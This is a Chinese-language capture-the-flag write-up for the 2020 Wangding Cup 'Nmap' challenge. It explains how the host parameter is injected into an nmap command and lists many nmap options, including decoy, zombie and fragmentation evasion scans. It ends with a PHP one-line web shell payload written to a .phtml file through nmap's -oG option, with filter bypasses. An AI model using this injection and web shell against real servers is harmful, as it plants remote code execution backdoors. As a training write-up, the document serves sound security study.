[網鼎杯 2020 朱雀組]Nmap
打開環境
這題是和nmap有關的,nmap這款工具是用來掃描網絡的,一般會拿來掃目標主機的端口或操作系統之類的,之前有用過,他有很多的命令可以使用,但之前沒有刻意去研究。
估計這題的后台就是用了一條簡單的拼接語句,類似於:"nmap".$cmd,之類的。
先抓個包看一下運行流程,首先index.php用了POST傳參傳過去一個host參數,然后本地又發起了一個GET請求,傳了一個參數f=90131,通過修改此參數,發現PHP報錯 simplexml_load_file(): I/O warning : failed to load external entity "xml/90132" in /var/www/html/result.php on line 23
simplexml_load_file() 函數是把 XML 文檔載入對象中,所以初步猜想,應該是nmap將掃描的結果保存為了xml文檔,然后PHP再打開該文檔解析,后台命令可能為nmap -oX 127.0.0.1 ./xml/????
這里就需要稍微了解一下nmap的指令了,稍微在網上收集了一些常用命令,以便后面查閱:
nmap -v 127.0.0.1 給出了遠程機器更詳細的信息,顯示冗余信息(掃描細節)
nmap -iL nmaptest.txt 運行帶“iL” 選項的nmap命令來掃描文件中列出的所有IP地址
nmap 192.168.0.* --exclude 192.168.0.100 使用“-exclude”選項來排除某些你不想要掃描的主機
nmap -A 192.168.0.101 啟用操作系統和版本檢測,腳本掃描和路由跟蹤功能
nmap -O 127.0.0.1 使用選項“-O”和“-osscan-guess”也幫助探測操作系統信息
nmap -sA 192.168.0.101 掃描遠程主機以探測該主機是否使用了包過濾器或防火牆
nmap -PN 192.168.0.101 掃描主機檢測其是否受到數據包過濾軟件或防火牆的保護
nmap -sP 192.168.0.* 找出網絡中的在線主機
nmap -F 192.168.0.101 快速掃描,僅掃描nmap-services文件中的端口而避開所有其它的端口
nmap -f 192.168.96.4 使用小數據包發送,避免被識別出
nmap -r 192.168.0.101 不會隨機的選擇端口掃描
nmap -p 80,443 192.168.0.101 使用“-P”選項指定你想要掃描的端口
nmap -sV 192.168.0.101 查找主機服務版本號
nmap -PS 192.168.0.101 使用TCP ACK和TCP Syn方法來掃描遠程主機(防火牆會阻斷標ICMP包)
nmap -Pn 192.168.96.4 目標機禁用ping,繞過ping掃描
nmap -sn 192.168.96.4 對目標進行ping檢測,不進行端口掃描(發送四種報文確定目標是否存活)
nmap -sS 192.168.0.101 執行一次隱蔽的掃描,安全,快
nmap -sT 192.168.0.101 使用TCP Syn掃描最常用的端口,不安全,慢
nmap -sN 192.168.0.101 執行TCP空掃描以騙過防火牆
nmap -sI 僵屍ip 目標ip 使用僵屍機對目標機發送數據包
nmap 192.168.96.4 -oX myscan.xml 對掃描結果另存在myscan.xml
nmap -T1~6 192.168.96.4 設置掃描速度,一般T4足夠
nmap –mtu <size> 192.168.96.4 發送的包大小,最大傳輸單元必須是8的整數
nmap -D <假ip> 192.168.96.4 發送參雜着假ip的數據包檢測
繼續中斷掃描:
nmap –oG 1.txt –v 192.168.1.1/24 -oG將掃描結果保存為TXT,Ctrl+C中斷掃描
Nmap –resume 1.txt 作用:繼續掃描
看了很多資料后,知道了,nmap可以將掃描后的結果保存為文件,這個文件格式甚至可以自己決定,那豈不是可以直接嘗試寫一句話木馬了。。。。
把nmap保存文件的一些方法截下來:
本地測試了一些,nmap保存文件的方法
真刑啊,文件的后綴可以自己決定,文件內容里還包含了我們輸入的查詢內容。
回到題目,之前我們猜測了nmap 127.0.0.1 -oX ./xml/????
其中127.0.0.1是我們控制的,那我們嘗試改成
'<?php eval($_POST["pwd"]);?> -oG 1.php'
測試后發現被攔截了,可能是PHP關鍵字被攔截了,也可能是oG被禁用了,先試着繞php,后綴可以將php改成phtml
文件的內容<?php中的PHP如何替換上網去查了一下,解決方法是使用短標簽<?=
最終payload:
'<?= @eval($_POST["pwd"]);?> -oG 1.phtml'
如何最后就是去注入寫文件,蟻劍連接,讀flag,交flag,結束。